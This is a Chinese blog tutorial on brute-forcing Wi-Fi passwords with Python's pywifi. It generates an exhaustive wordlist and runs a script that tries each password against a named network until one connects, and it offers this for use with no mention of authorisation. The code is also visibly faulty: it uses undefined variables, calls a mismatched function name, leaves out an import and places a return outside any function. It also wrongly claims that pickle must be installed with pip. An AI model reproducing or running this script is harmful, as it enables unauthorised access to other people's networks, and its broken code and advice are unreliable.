破解Wi-Fi -- Python

破解Wi-Fi – Python

2021.12.30

需要的模块为: pywifi, pickle

安装方式:

pip install pywifi
pip install pickle

**注意:**电脑应该装配无线网卡。一般笔记本本身就内置无线网卡,有些台式机可能需要插一个无线网卡。目前的pywifi仅支持Linux、Windows系统,暂不支持MacOs系统。

Step 1

创建一个无线对象,获取无线网卡的信息。

import pywifi

wifi_info=pywifi.PyWiFi()
#获取无线网卡信息
ifaces=wifi_info.interfaces()[0]
print(ifaces,"\n","WI-FI name",ifaces.name())

它输出的是一个对象,以及WI_FI的名字。

Step 2

判断是否连接WI-FI,需要用到pywifi的常量库

from pywifi import const

在这个常量库中,存在接口是否连接所对应的常量,以及其他可能用到的常量,如下所示:

#!/usr/bin/env python3
# vim: set fileencoding=utf-8

"""Constants used in pywifi library define here."""
# Define interface status.
IFACE_DISCONNECTED = 0
IFACE_SCANNING = 1
IFACE_INACTIVE = 2
IFACE_CONNECTING = 3
IFACE_CONNECTED = 4

# Define auth algorithms.
AUTH_ALG_OPEN = 0
AUTH_ALG_SHARED = 1

# Define auth key mgmt types.
AKM_TYPE_NONE = 0
AKM_TYPE_WPA = 1
AKM_TYPE_WPAPSK = 2
AKM_TYPE_WPA2 = 3
AKM_TYPE_WPA2PSK = 4
AKM_TYPE_UNKNOWN = 5

# Define ciphers.
CIPHER_TYPE_NONE = 0
CIPHER_TYPE_WEP = 1
CIPHER_TYPE_TKIP = 2
CIPHER_TYPE_CCMP = 3
CIPHER_TYPE_UNKNOWN = 4

KEY_TYPE_NETWORKKEY = 0
KEY_TYPE_PASSPHRASE = 1

Step 3

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的状态,查看wifi的加密类型,wifi加密类型目前有四种认证方式: WPA、WPA-PSK、WPA2、WPA2-PSK 。一般采用的是为WPA2-PSK,检查加密单元。代码如下:

profile=pywifi.Profile()
#要连接WI-FI的名称
profile.ssid="jiayi"
#检查网卡的是否开放
profile.auth=const.AUTH_ALG_OPEN
#WI-FI加密类型,一般wifi加密算法为WPA2-PSK
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP

Step 4

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0。

#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(0.1)
if ifaces.status()==const.IFACE_CONNECTED:
    return True
else:
    return False

Step 5

创建密码本

一个好的密码本是破解的关键。对于WI-FI密码,一般由数字字母符号组成。

可以用Python生成一个简单的密码本。暴力破解的思路是穷举法。可以用itertools模块来创建,itertools是python内置的模块,无需再安装。存储密码本不建议用ascii格式,读取速度较慢且麻烦。可以选择用pickle模块生成序列化后的数据,pickle需要自行安装(pip install pickle)。数据格式为列表:[密码1",“2”:“密码2”],这样存储和读取效率更高。当然也可不存储,直接迭代生成密码,然后直接尝试连接。本文中至介绍生成密码本的方法。

import pickle
import itertools as its

words = "abcdefghijklmnopqrstuvwxyz123456789!@#$%&*^+-"
## repeat 为密码的位数, 即 repeat = 4
passwd = its.product(words,repeat=6) 
for i in passwd:
    str = ''
    data.append(str.join(i))
with open ("PassWord.data", 'wb') as f: #打开文件
    pickle.dump(data, f) #存成二进制序列、方便读取
print("密码本已生成")
    

注意:利用此程序生成的密码本文件会很大,可以适当修改words中的字符个数以及密码的位数(repeat 参数)比如只保留几个字母和数字。如果对WI- FI密码有大致的了解,可以根据了解的信息生成密码本文件。

Step 6

开始破解。以下是完整的破解代码。注意:密码本文件需要在上一步已经生成。

import time
import pickle
import pywifi
from pywifi import const

#测试连接, 返回连接Wi-Fi结果
def wifiConnect(passwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第首个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有的Wi-Fi连接
    ifaces.disconnect()
    time.sleep(1)
    wifistat = ifaces.status()
    if wifistat == const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile = pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid = "zhangsan"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key = passwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(0.1)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("wifi已连接,请核对WI-FI名称") 
 
#读取密码本
def readPasswd():
    print("开始破解...")

    with open("PassWord.data",'rb') as f:
      	data = pickle.load(f)
    while True:
        try:
            #一行一行读取
            for i in range(len(data)):            	
                passwd = data[i]
                bool = wifiConnect(passwd)
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已成功连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ",pad)
        except:
            continue
readPassword()

Ending…

  • 3
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Persus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值